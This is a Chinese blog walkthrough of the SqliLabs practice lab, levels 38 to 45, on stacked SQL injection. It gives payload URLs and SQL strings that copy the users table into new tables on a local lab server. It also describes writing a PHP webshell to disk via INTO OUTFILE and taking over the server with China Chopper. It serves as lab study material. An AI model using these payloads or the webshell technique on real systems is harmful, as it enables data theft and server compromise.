热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQL注入实验:SqliLabs第38至45关解析

本文深入探讨了SqliLabs项目中的第38至45关,重点讲解了堆叠注入(StackedQueries)的应用技巧及防御策略。通过实际案例分析,帮助读者理解如何利用和防范此类SQL注入攻击。

SqliLabs第38关 - 堆叠注入基础

在第38关中,我们首先需要了解堆叠注入的基本概念,即在一个请求中执行多个SQL语句。这种技术在SQL注入攻击中非常常见,因为它允许攻击者通过一次请求完成多项操作,如创建表、插入数据等。参考文献:堆叠注入详解

为了更好地理解堆叠注入的工作原理,我们在源代码中添加了一段用于显示SQL语句的代码,以便观察其执行过程。
技术分享图片

第一种解决方法是使用联合查询来泄露数据:
URL示例:http://192.168.0.106:300/Less-38/?id=0' UNION SELECT 1,2,3 --+
技术分享图片

然而,本关的主要目的是考察堆叠注入技术,因此我们采用第二种方法:
URL示例:http://192.168.0.106:300/Less-38/?id=1'; CREATE TABLE hzk38 LIKE users; INSERT INTO hzk38 SELECT * FROM users; --+
技术分享图片

可以看到,数据库中成功创建了一个新表,并复制了所有用户信息。值得注意的是,如果只执行第一条SQL语句,则只会创建一个空表,结构与users表相同但无任何数据。

SqliLabs第39至45关 - 进阶挑战

从第39关开始,每关的任务都与前一关类似,主要区别在于SQL语句的闭合方式不同。例如,第39关:
URL示例:http://192.168.0.106:300/Less-39/?id=1; CREATE TABLE hzk39 LIKE users; INSERT INTO hzk39 SELECT * FROM users; --+

第40关:
URL示例:http://192.168.0.106:300/Less-40/?id=1'); CREATE TABLE hzk40 LIKE users; INSERT INTO hzk40 SELECT * FROM users; --+

第41关:
URL示例:http://192.168.0.106:300/Less-41/?id=1; CREATE TABLE hzk41 LIKE users; INSERT INTO hzk41 SELECT * FROM users; --+

第42关:
此关与之前的二次注入类似,但采用了堆叠注入的方式。观察源代码可知,密码字段未经过滤,因此可在此处构造注入语句。
SQL示例:a'; CREATE TABLE hzk42 LIKE users; INSERT INTO hzk42 SELECT * FROM users; #
技术分享图片

第43关:
与第42关基本相同,区别在于ID参数的形式。
SQL示例:a'); CREATE TABLE hzk43 LIKE users; INSERT INTO hzk43 SELECT * FROM users; #

第44关:
与第42关基本相同,区别在于没有错误信息回显。
SQL示例:a'; CREATE TABLE hzk44 LIKE users; INSERT INTO hzk44 SELECT * FROM users; #

第45关:
与第42关基本相同,区别在于没有错误信息回显,同时ID参数的形式略有不同。
SQL示例:a'); CREATE TABLE hzk45 LIKE users; INSERT INTO hzk45 SELECT * FROM users; #

堆叠注入的高级应用

除了上述基本的堆叠注入外,还可以利用该技术实现更复杂的攻击,如写入Webshell。以第45关为例,可以通过注入将一句话木马写入服务器:
SQL示例:a'); SELECT '' INTO OUTFILE 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-45\mm.php' #
技术分享图片
技术分享图片

使用中国菜刀等工具即可获取服务器权限:
技术分享图片

如果在尝试这些关卡时遇到数据库混乱的问题,可以在SqliLabs首页的第一行重置数据库:
技术分享图片


推荐阅读
  • KKCMS代码审计初探
    本文主要介绍了KKCMS的安装过程及其基本功能,重点分析了该系统中存在的验证码重用、SQL注入及XSS等安全问题。适合初学者作为入门指南。 ... [详细]
  • 基于函数实现的进制转换工具
    本文介绍了一种利用函数实现不同进制数(二进制、八进制、十进制)之间转换的方法。包括了程序的运行效果展示、所使用的主要函数解析、以及如何验证用户输入的合法性。整个项目仅使用了两个全局变量来存储用户的选项和输入的数值。 ... [详细]
  • 本文档详细介绍了Robot Framework的基础知识、安装配置方法及其实用技巧。从环境搭建到编写第一个测试用例,涵盖了一系列实用的操作指南和最佳实践。 ... [详细]
  • 本文详细探讨了JSP环境下数据库连接的实现方法,包括环境配置、代码示例以及常见的连接问题及其解决方案。 ... [详细]
  • 本文详细介绍了C++标准模板库(STL)中各容器的功能特性,并深入探讨了不同容器操作函数的异常安全性。 ... [详细]
  • 实现如下:可以点击delete删除信息,并且可以通过添加新员工功能可以把新员工加到上一个表格中。其中,css代码如下:CH ... [详细]
  • 解决phpMyAdmin运行错误:mysqli_init(): 属性访问尚未允许
    本文探讨了在使用phpMyAdmin过程中遇到的mysqli_init()函数错误,并提供了有效的解决方案。 ... [详细]
  • Flask框架入门指南:Windows平台下的首个Python 2.7项目
    本文将指导您如何在Windows平台上使用Python 2.7搭建一个简单的Flask应用,包括项目结构的创建、基本路由的设置以及HTML模板的设计。 ... [详细]
  • 本文介绍如何利用Python中的Epoll机制构建一个高效的Web服务器,该服务器能够处理多个并发连接,并向每个连接的客户端返回预定义的响应文本。通过使用Epoll,服务器可以实现高性能的I/O多路复用。 ... [详细]
  • 一、数据更新操作DML语法中主要包括两个内容:查询与更新,更新主要包括:增加数据、修改数据、删除数据。其中这些操作是离不开查询的。1、增加数据语法:INSERTINTO表名称[(字 ... [详细]
  • 本文详细介绍了如何通过Percona插件监控MySQL 5.7数据库,包括环境准备、插件安装、配置调整及数据测试等步骤,旨在为用户提供一个高效且稳定的监控解决方案。 ... [详细]
  • 本文介绍了如何通过安装 VirtualBox 和 Vagrant 来快速搭建和管理虚拟机环境。我们将详细探讨如何选择合适的 Box 镜像,以及如何高效地下载、添加和管理这些镜像。 ... [详细]
  • HTML中用于创建表单的标签是什么
    本文将详细介绍HTML中用于创建表单的标签及其基本用法,包括表单的主要特性和常用的属性设置。如果您正在学习HTML或需要了解如何在网页中添加表单,这将是一个很好的起点。 ... [详细]
  • 为了增强服务器的安全性,管理员可以通过SSH进行精细的访问控制。本文将介绍两种有效的方法来限制用户从特定IP地址登录,包括更改默认端口和设置允许访问的IP列表。 ... [详细]
  • Web安全入门:MySQL基础操作与SQL注入防范
    本文详细介绍了MySQL数据库的基础操作命令,包括数据库和表的基本管理,以及数据的增删查改等常用操作。同时,针对Web安全领域常见的SQL注入问题,提供了初步的理解和防范措施。 ... [详细]
author-avatar
创办m觉e内能h行宫
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有